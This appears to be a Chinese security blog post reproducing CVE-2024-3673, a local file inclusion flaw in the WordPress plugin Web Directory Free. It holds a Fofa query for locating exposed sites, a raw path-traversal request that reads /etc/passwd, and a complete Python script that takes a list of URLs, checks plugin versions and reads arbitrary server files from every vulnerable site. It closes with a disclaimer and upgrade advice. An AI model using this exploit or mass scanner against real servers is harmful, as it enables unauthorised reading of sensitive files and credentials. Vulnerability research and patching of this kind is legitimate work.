WordPress Web Directory Free插件本地包含漏洞复现(附脚本)(CVE-2024-3673)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

0x01 产品描述:

Web Directory Free 是一款用于 WordPress 的免费插件,主要用于创建和管理在线目录网站。它允许用户轻松地添加、管理和展示各种目录条目,例如企业列表、服务提供商、地点信息等。这款插件非常适合需要构建商业目录、黄页网站或类似平台的用户。
0x02 漏洞描述:

Web Directory Free插件在函数中使用参数之前无法验证参数,从而导致本地文件包含 (LFI)。这允许未经身份验证的攻击者读取服务器上的敏感文件。

0x03 影响版本:

Web Directory Free <= 1.7.2
0x04 搜索语句:

复制代码
Fofa:body="/wp-content/plugins/web-directory-free"


0x05 漏洞复现:

复制代码
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ip

from_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd

0x06 批量检测脚本:

复制代码
批量检测:
python poc.py -l url.txt -f [读取路径]
单个检测:
python poc.py -u your-ip -f [读取路径]
默认路径:
python poc.py -u your-ip

import argparse
import re
import requests
from packaging import version
import urllib3
from urllib.parse import urljoin

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("\033[36m" + """
    ****************************************************
    *             WordPress插件漏洞检测工具             *
    *        Web Directory Free插件LFI漏洞检测         *
    *            版本: 1.7.2及以下存在漏洞             *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def get_plugin_version(url: str) -> str:
    version_url = urljoin(url, "/wp-content/plugins/web-directory-free/readme.txt")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    }
    try:
        response = requests.get(version_url, headers=headers, verify=False, timeout=10)
        response.raise_for_status()
        match = re.search(r"Stable tag:\s*(\d+\.\d+\.\d+)", response.text)
        if match:
            return match.group(1)
        else:
            print(f"[!] 无法从 {url} 的 readme.txt 中提取版本信息。")
            return None
    except requests.RequestException as e:
        print(f"[!] 获取 {url} 的版本信息时出错: {e}")
        return None

def is_vulnerable(version_str: str) -> bool:
    vulnerable_version = "1.7.2"
    return version.parse(version_str) <= version.parse(vulnerable_version)

def exploit_vulnerability(url: str, target_file: str) -> None:
    exploit_path = urljoin(url, "/wp-admin/admin-ajax.php")
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    payload = f"from_set_ajax=1&action=w2dc_controller_request&template={target_file}"
    try:
        response = requests.post(exploit_path, headers=headers, data=payload, verify=False, timeout=10)
        response.raise_for_status()
        if response.status_code == 200:
            print(f"[+] 漏洞利用成功!目标文件内容如下:\n{response.text}")
        else:
            print(f"[-] 漏洞利用失败,服务器返回状态码: {response.status_code}")
    except requests.RequestException as e:
        print(f"[!] 漏洞利用过程中出错: {e}")

def check_single_url(url: str, target_file: str) -> None:
    print(f"\n[+] 正在检测目标: {url}")
    plugin_version = get_plugin_version(url)
    if plugin_version:
        print(f"[*] 检测到插件版本: {plugin_version}")
        if is_vulnerable(plugin_version):
            print("[+] 该站点存在漏洞!")
            exploit_vulnerability(url, target_file)
        else:
            print("[-] 该站点不存在漏洞。")
    else:
        print("[-] 无法获取插件版本信息,跳过检测。")

def main():
    banner()
    parser = argparse.ArgumentParser(description="检测Web Directory Free WordPress插件中的LFI漏洞(版本1.7.2及以下)。")
    parser.add_argument("--url", "-u", help="目标URL(例如:http://example.com)")
    parser.add_argument("--file", "-f", default="../../../../../etc/passwd", help="要读取的目标文件(默认:/etc/passwd)")
    parser.add_argument("--list", "-l", help="包含多个URL的文件路径")
    args = parser.parse_args()

    if not args.url and not args.list:
        print("[-] 请提供目标URL或包含URL列表的文件。")
        return

    if args.url:
        check_single_url(args.url, args.file)
    elif args.list:
        urls = read_file(args.list)
        for url in urls:
            check_single_url(url, args.file)

if __name__ == "__main__":
    main()


0x07 修复建议:

将 Web Directory Free 插件升级到版本 1.7.3 或更高版本

相关推荐
用户9623779544819 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全